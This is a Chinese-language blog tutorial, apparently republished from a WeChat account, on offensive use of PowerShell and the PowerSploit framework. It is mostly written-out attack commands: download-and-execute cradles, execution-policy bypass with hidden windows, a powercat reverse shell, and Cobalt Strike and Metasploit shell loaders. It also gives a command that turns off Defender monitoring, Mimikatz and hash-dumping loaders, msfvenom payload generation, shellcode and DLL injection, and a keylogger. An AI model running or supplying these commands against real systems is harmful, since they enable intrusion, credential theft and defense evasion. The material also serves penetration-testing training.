[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

admin 2024年3月22日09:09:57评论5 views字数 17614阅读58分42秒阅读模式

前文分享了Windows基础,包括系统目录、服务、端口、注册表黑客常用的DOS命令及批处理powershell这篇文章将详细讲解PowerShell和PowerSploit脚本攻击,进一步结合MSF漏洞利用来实现脚本攻击和防御。希望这篇文章对您有帮助,更希望帮助更多安全攻防或红蓝对抗的初学者,且看且珍惜。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

文章目录:

  • 一.Powershell攻击详解

    • 1.PowerShell简介

    • 2.PowerShell基本概念

    • 3.PowerShell常用命令及绕过权限执行

    • 4.PowerShell远程下载文件并执行

    • 5.PowerShell渗透测试常用命令

    • 6.PowerShell导入文件

  • 二.PowerSploit攻击详解

    • 1.PowerSploit安装

    • 2.MSF反弹Shell

    • 3.Invoke-Shellcode执行代码

    • 4.Invoke-Portscan扫描端口

    • 5.Invoke-Mimikatz

    • 6.Invoke-DllInjection

    • 7.Get-Keystrokes

    • 8.脚本分类及功能

  • 三.总结

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/

    SystemSecurity-ReverseAnalysis

  • 网络安全:https://github.com/eastmountyxz/

    NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。

一.Powershell攻击详解

在渗透测试中,Powershell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有良好的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它就可以直接在内存中运行。

这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。常用的PowerShell攻击工具有以下几种。

  • PowerSploit

    这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。

  • Nishang

    基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。

  • Empire

    基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭据信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。

  • PowerCat

    PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。

参考作者前文:

  • Powershell基础入门及常见用法(一)

  • Powershell基础入门及常见用法(二)

1.PowerShell简介

Windows PowerShell 是一种命令行外壳程序和脚本环境,它内置在Windows 7版本及其以上的系统中,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。

各Windows操作系统的PowerShell版本如下:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

一旦攻击者在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写道磁盘中执行,就可以直接在内存中运行(无文件攻击),也可以把PowerShell看作命令行提示符cmd.exe的扩充。

在64位的Windows操作系统中,存在x64和x86两个版本的PowerShell,这两个版本的执行策略不会相互影响,可以看作是两个独立的程序。x64版本的配置文件在如下路径中。PowerShell包含两个应用程序组件:基于文本的标准控制台(powershell.exe)和集成命令环境的图形化界面(ISE:powershell_ise.exe)。

  • C:WindowsSysWOW64WindowsPowerShellv1.0

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

传统的CMD支持脚本编写,但扩展性不好,而Powershell类似于Linux shell,具有更好的远程处理、工作流、可更新的帮助、预定任务(Scheduled Job)、CIM等优点。

(1) 首先,如何进入Powershell呢?
一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

不同操作系统内置的Powershell是不一样的,比如win7或win2008。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(2) 其次,如何查看版本呢?
第一个命令如下:

Get-Host

输出结果如下图所示:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

另一个命令是:

$psversiontable

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

同时,Powershell可以获取计算机的服务详细信息、状态等。

get-service

其显示结果如下图所示,采用动词+名词方式命名,比较清楚。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(3) 简单总结PowerShell优点
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性,可以位居当前所有Shell之首。PowerShell的这些特点正在吸引攻击者,使它逐渐成为一个非常流行且得力的攻击工具。由于Powershell具有以下特点,它被广泛应用于安全领域,甚至成为每一位Web安全必须掌握的技术。常见的优点包括:

  • Windows 7以上的操作系统默认安装

  • PowerShell脚本可以运行在内存中,不需要写入磁盘

  • 可以从另一个系统中下载PowerShell脚本并执行

  • 目前很多工具都是基于PowerShell开发的

  • 很多安全软件并不能检测到PowerShell的互动

  • cmd.exe通常会被阻止运行,但PowerShell不会

  • 可以用来管理活动目录

  • 支持面向对象,支持和.net平台交互

  • 强大的兼容性,和cmd、vbs相互调用

  • 可扩展性好,它可以用来管理活动目录、虚拟机产品等平台

2.PowerShell基本概念

(1) PS1文件
一个PowerShell脚本其实是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。

(2) 执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,在默认情况下,这个执行策略被设为首先。在PowerShell脚本无法执行时,可以使用下面的 Get-ExecutionPolicy 命令确定当前的执行策略。它包括4个策略:

  • Restricted:脚本不能运行(默认设置)

  • RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名除外)

  • AllSigned:仅当脚本由受信任的发布者签名时才能运行

  • Unrestricted:允许所有的Script运行

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

我们还可以使用下面的cmdlet命令设置PowerShell的执行策略。

  • Set-ExecutionPolicy [policy name] 策略名

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(3) 运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名。例如,你要运行一个名为a.ps1的脚本,可以键入 C:Scriptsa.ps1。最大的例外是,如果PowerShell脚本文件刚好位于你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如 .a.ps1 的前面加上“.”,这和在Linux下还行Shell脚本的方法一样。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(4) 管道
PowerShell的管道作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接。举个例子来看管道是如何工作的,假设停止所有目前运行汇总以 “p” 字符开头命名的程序,命令如下:

  • get-process p* | stop-process

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

管道并不是什么新事物,以前的Cmd控制台也有重定向的命令,例如Dir | More可以将结果分屏显示。传统的Cmd管道是基于文本的,但是Powershell管道是基于对象。例如:

linux:lscmd:dir

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

如果只获取其中的name、mode值,则使用如下指令。

ls | format-table name, mode

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

3.PowerShell常用命令及绕过权限执行

在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-Item,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不区分大小写。

下面以文件操作为例讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType Directory

  • 新建文件:New-Item light.txt-ItemType File

  • 删除目录:Remove-Item whitecellclub

  • 显示文件内容:Get-Content test.txt

  • 设置文件内容:Set-Content test.txt-Value “hello,world!”

  • 追加内容:Add-Content light.txt-Value “i love you”

  • 清除内容:Clear-Content test.txt

举个简单的示例:

New-Item test -ItemType directoryRemove-Item testNew-Item eastmount.txt -ItemType file -value "hello csdn"  Get-Content eastmount.txtAdd-Content eastmount.txt -Value " bye!"Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha"Get-Content eastmount.txtClear-Content eastmount.txtGet-Content eastmount.txtRemove-Item eastmount.txtGet-Content eastmount.txt

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

同样,我们还以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入help命令显示帮助菜单。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

经过测试,在cmd窗口执行过程下载的PowerShell脚本,不论当前策略,都可以直接运行。而如果要在PowerShell窗口运行脚本程序,必须要管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本。

(1) 下载远程PowerShell脚本绕过权限执行
调用DownloadString函数下载远程的ps1脚本文件。

//cmd窗口执行以下命令powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')//在powershell窗口执行IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

下图引用谢公子的图片,切换到CMD窗口运行。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(2) 绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。

PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1powershell -exec bypass  .test.ps1

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

(3) 本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo-NonInteractive -NoProfile -File xxx.ps1

举个示例:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) 用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

下面对上述命令的参数进行说明,如下所示。

  • ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。

  • WindowStyle Hidden:隐藏窗口

  • NoLogo:启动不显示版权标志的PowerShell

  • NonInteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示

  • NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件

  • Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要

再次强调,PowerShell脚本在默认情况下无法直接执行,这是就可以使用上述方法绕过安全策略,运行PowerShell脚本如下图所示。

PowerShell.exe -ExecutionPolicy Bypass -File .test.ps1 

通过增加 -ExecutionPolicy Bypass 实现绕过安全策略,并运行输出结果。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

本地我们可以看到 test.ps1 文件。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

4.PowerShell远程下载文件并执行

该部分内容学习了谢公子老师的总结,当然第二部分我详细介绍了和渗透结合的用法。

CMD窗口下载文件
管理员权限才可以下载到C盘目录下,普通权限不能下载到C盘。

//下载文件到指定目录powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');//下载文件到当前目录powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

CMD窗口下载文件并执行exe

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

CMD窗口下载文件并执行ps1脚本

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

远程下载powercat.ps1脚本,并带参数运行,该命令可以绕过PowerShell执行策略

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

5.PowerShell渗透测试常用命令

关闭Windows自带的Defender防火墙(需要管理员权限)。

powershell Set-MpPreference -disablerealtimeMonitoring $true

在CMD窗口下执行,将远程主机上的test.exe下载到本地。

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

在CMD窗口下利用PowerShell反弹NC shell。

//在cmd窗口执行powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd//在powershell窗口执行IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

在CMD窗口下利用PowerShell反弹CobaltStrike Shell。

//在cmd窗口执行powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))  //在powershell窗口执行IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))

在CMD窗口下利用PowerShell反弹MSF Shell。

//在cmd窗口执行powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1//在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

远程加载PowerShell脚本读取明文密码(需要管理员权限)。

//在cmd窗口执行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts//在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

远程加载PowerShell脚本读取明文密码hash值(需要管理员权限)。

//在cmd窗口执行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes//在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

6.PowerShell导入文件

在大型PowerShell项目中,通常包括.ps1、.psd1和.psm1后缀文件。比如Powersploit。

    • .ps1文件:是PowerShell脚本文本

    • .psd1文件:模块介绍文件

    • .psm1文件:模块文件

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

其中,psm1和psd1文件可以使用以下命令导入。

 Import-Module .PowerSploit.psm1 Import-Module .PowerSploit.psd1

导入模块输入命令:

  • Get-Command -Module PowerSploit

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

对于.ps1文件,既可以使用Import-Module导入,也可以使用 . 导入。

Import-Module .Get-Information.ps1. .Get-Information.ps1

二.PowerSploit攻击详解

PowerSploit是一款基于PowerShell的后渗透(Post-Exploition)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦查、权限提升、权限维持。PowerSploit各个模块的功能包括:

  • AntivirusBypass:发现杀毒软件的查杀特征

  • CodeExecution:在目标主机上执行代码

  • Exfiltration:目标主机上的信息搜集工具

  • Mayhem:蓝屏等破坏性脚本

  • Persistence:后门脚本(持久性控制)

  • Recon:以目标主机为跳板进行内网信息侦查

  • ScriptModification:在目标主机上创建或修改脚本

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

其GitHub地址为:

  • https://github.com/PowerShellMafia/PowerSploit

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

1.PowerSploit安装

第一步,下载PowerSploit资源。
我们在Kali中可以使用git命令下载该程序。

  • git clone https://github.com/PowerShellMafia/PowerSploit

如果下载报错“git fatal: unable to access server certificate verification failed. CAfile: none CRLfile: none”,读者可以直接从github下载移动至Kali指定目录。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,解压文件。

  • unzip PowerSploit-master.zip

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

解压后的文件如下图所示:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第三步,将解压后的文件夹移动到/var/www/html目录,然后搭建一个简易的服务器。

  • mv PowerSploit-master /var/www/html

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第四步,开启Apache服务器。

  • service apache2 start

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

在本地浏览器中用IP地址访问,证明我们的Apache服务器设置成果。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

2.MSF反弹Shell

接下来,我们在Kali中使用 reverse_https模块进行反弹shell。

第一步,打开msfconsole。

  • msfconsole

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,在msf设置 windows/x64/meterpreter/reverse_https 模块进行反弹并开启监听。

  • use exploit/multi/handler

    使用监听模块

  • set payload windows/x64/meterpreter/reverse_tcp

    设置payload

  • set LHOST 192.168.44.138

    设置本机IP地址

  • set RPORT 4444

    设置本地端口4444

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

  • show options

    查看监听的配置信息

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

接着运行处于监听状态。

  • run
  • exploit

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

3.Invoke-Shellcode执行代码

CodeExecution模块下的Invoke-Shellcode脚本常用于将Shellcode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法。

第一种方法:直接执行shellcode反弹Meterpreter Shell

第一步,使用之前的步骤利用MSF进行监听。

msf5 exploit(multi/handler) > run[*] Started HTTPS reverse handler on https://192.168.59.128:4444

第二步,使用msfvenom命令生成一个powershell脚本木马。

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
    LPORT=4444 -f powershell -o /var/www/test

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

生成的脚本位于 /var/www/html 目录下,代码如下图所示:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第三步,接着在目标机Powershell下输入以下命令下载该脚本。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

常见错误解决方法
第一种错误是提示“被防病毒软件阻止”。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解
此时我们需要设置防火墙拦截问题,允许该powershell运行即可。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解
如果还是被拦截,可能是需要管理员权限运行PowerSploit,设置方法如下:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第四步,输入以下命令下载木马。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第五步,运行下面的命令。其中的-Force意思是不用提示,直接执行。

  • Invoke-Shellcode -Shellcode ($buf) -Force

按理说,此步骤执行完成后,返回MSF的监听界面下,会发现已经反弹成功了,可是我的Powershell在运行完命令后会报错或崩溃,个人感觉环境问题。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

正确运行结果如下图所示:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二种方法:指定进程注入shellcode反弹Meterpreter Shell

第一步,同样先在目标机Powershell下输入命令下载脚本和木马。

IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")

第二步,输入Get-Process命令或者ps命令查看当前进程。

  • Get-Process

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第三步,输入命令创建一个新进程,并把它设置为隐藏的。

  • Start-Process C:windowssystem32notepad.exe -WindowStyle Hidden
  • Get-Process

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第四步,输入Get-Process命令查看进程,可以看到多了一个id为2580,名为notepad的进程。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第五步,使用Invoke-Shellcode脚本进行进程注入。

  • Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force

4.Invoke-Portscan扫描端口

nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。使用方法如下。

第一步,先下载脚本,然后进行扫描。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,使用下面命令扫描端口。

  • Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

发现1开放445和3389端口,138开放80端口。

5.Invoke-Mimikatz

Invoke-Mimikatz是Exfiltration模块下的一个脚本。

第一步,下载脚本。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,执行命令使用Mimikatz攻击,密码抓取工具。

  • Invoke-Mimikatz -DumpCreds

PS C:> Invoke-Mimikatz -DumpCreds  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##.  "A La Vie, A L'Amour" ## /  ##  /* * * ##  / ##   Benjamin DELPY `gentilkiwi` ( [email protected] ) '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)  '#####'                                     with 20 modules * * */mimikatz(powershell) # sekurlsa::logonpasswordsERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)  #报错啦mimikatz(powershell) # exitBye!PS C:>

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

6.Invoke-DllInjection

下面使用CodeExecution模块下的另一个脚本Invoke-DllInjection,它是一个DLL注入的脚本。

第一步,在MSF里配置好监听,使用以下命令在kali中生成一个dll的反弹木马。

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
    LPORT=4444 -f dll -o /var/www/html/test.dll

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

生成的test.dll注入文件如下图所示:

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,在目标机上下载脚本,输入以下命令。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第三步,启动一个新进程,使用Invoke-Shellcode脚本进行进程注入。

  • Start-Process C:windowssystem32notepad.exe -WindowStyle Hidden

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

  • Get-Process
  • get-process notepad

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第四步,使用下面命令注入。

  • Invoke-DllInjection -ProcessID 2580 -Dll c:test.dll

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

但是MSF反弹还是失败。

7.Get-Keystrokes

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。使用方法如下。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第一步,下载脚本。

  • IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1”)

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第二步,命令开启键盘记录。

  • Get-Keystrokes -Logpath c:test1.txt

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

第三步,存储相关信息。

[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

8.脚本分类及功能

AntivirusBypass(绕过杀毒)

  • Find-AVSignature
    发现杀软的签名

CodeExecution(代码执行)

  • Invoke-DllInjection.ps1
    DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限

  • Invoke-ReflectivePEInjection.ps1
    反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程

  • Invoke-Shellcode.ps1
    将shellcode插入您选择的进程ID或本地PowerShell中

  • Invoke-WmiCommand.ps1
    在目标主机使用wmi执行命令

Exfiltration(信息收集):主要是收集目标主机上的信息

  • Out-Minidump.ps1
    生成一个进程的全内存小数据库

  • Get-VaultCredential.ps1
    显示Windows徽标凭据对象,包括明文Web凭据

  • Get-Keystrokes.ps1
    记录按键,时间和活动窗口

  • Get-GPPPassword.ps1
    检索通过组策略首选项推送的帐户的明文密码和其他信息

  • Get-GPPAutologon.ps1
    如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码

  • Get-TimedScreenshot.ps1
    这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能

  • Invoke-Mimikatz.ps1
    查看主机密码

  • Invoke-NinjaCopy.ps1
    通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件

  • Invoke-CredentialInjection.ps1
    使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)

  • Invoke-TokenManipulation.ps1
    列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌

  • Get-MicrophoneAudio.ps1
    通过麦克风记录声音

  • VolumeShadowCopyTools.ps1

Recon(信息侦察):这个文件夹主要是以目标主机为跳板进行内网主机侦察

  • Invoke-Portscan.ps1
    端口扫描

  • Get-HttpStatus.ps1
    返回指定路径的HTTP状态代码和完整URL,并附带字典文件

  • Invoke-ReverseDnsLookup.ps1
    扫描DNS PTR记录的IP地址范围

  • PowerView.ps1
    PowerView是一系列执行网络和Windows域枚举和利用的功能

  • Get-ComputerDetails
    获得登录信息

ScriptModification(脚本修改)

  • Out-EncodedCommand.ps1
    将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出

  • Out-EncryptedScript.ps1
    加密文本文件/脚本

  • Out-CompressedDll.ps1
    压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中

  • Remove-Comments.ps1
    从脚本中删除注释和多余的空白

Persistence(权限维持)

  • New-UserPersistenceOption
    为添加持久性函数配置用户级持久性选项。

  • New-ElevatedPersistenceOption
    为添加持久性函数配置提升的持久性选项。

  • Add-Persistence
    向脚本添加持久性功能

  • Install-SSP
    安装安全支持提供程序(ssp)dll

  • Get-SecurityPackages

Privesc(提权)

  • PowerUP
    共同特权升级检查的信息交换所,以及一些武器化载体

  • Get-System

Mayhem

  • Set-MasterBootRecord
    选择的消息覆写主引导记录

  • Set-CriticalProcess
    退出powershell时使系统蓝屏

三.总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助,继续加油~如果存在一些不足,还请海涵。

  • 一.Powershell攻击详解
    1.PowerShell简介
    2.PowerShell基本概念
    3.PowerShell常用命令及绕过权限执行
    4.PowerShell远程下载文件并执行
    5.PowerShell渗透测试常用命令
    6.PowerShell导入文件

  • 二.PowerSploit攻击详解
    1.PowerSploit安装
    2.MSF反弹Shell
    3.Invoke-Shellcode执行代码
    4.Invoke-Portscan扫描端口
    5.Invoke-Mimikatz
    6.Invoke-DllInjection
    7.Get-Keystrokes
    8.脚本分类及功能

  • 三.总结

天行健,君子以自强不息。
地势坤,君子以厚德载物。

真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,初来乍到,还请多指教。

(By: Eastmount 2024-03-21 夜于地球)

参考文章如下,感谢这些大佬。

  • 徐焱老师的《Web安全攻防渗透测试实战指南》著作

  • [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)

  • [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)

  • PowerShell使用浅析 - 谢公子

  • https://www.cnblogs.com/yuzly/p/10505365.html

前文分享(下面的超链接可以点击喔):

原文始发于微信公众号(娜璋AI安全之家):[网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日09:09:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [网络安全] 四十六.Powershell和PowerSploit脚本攻防万字详解http://cn-sec.com/archives/2593356.html

发表评论

匿名网友 填写信息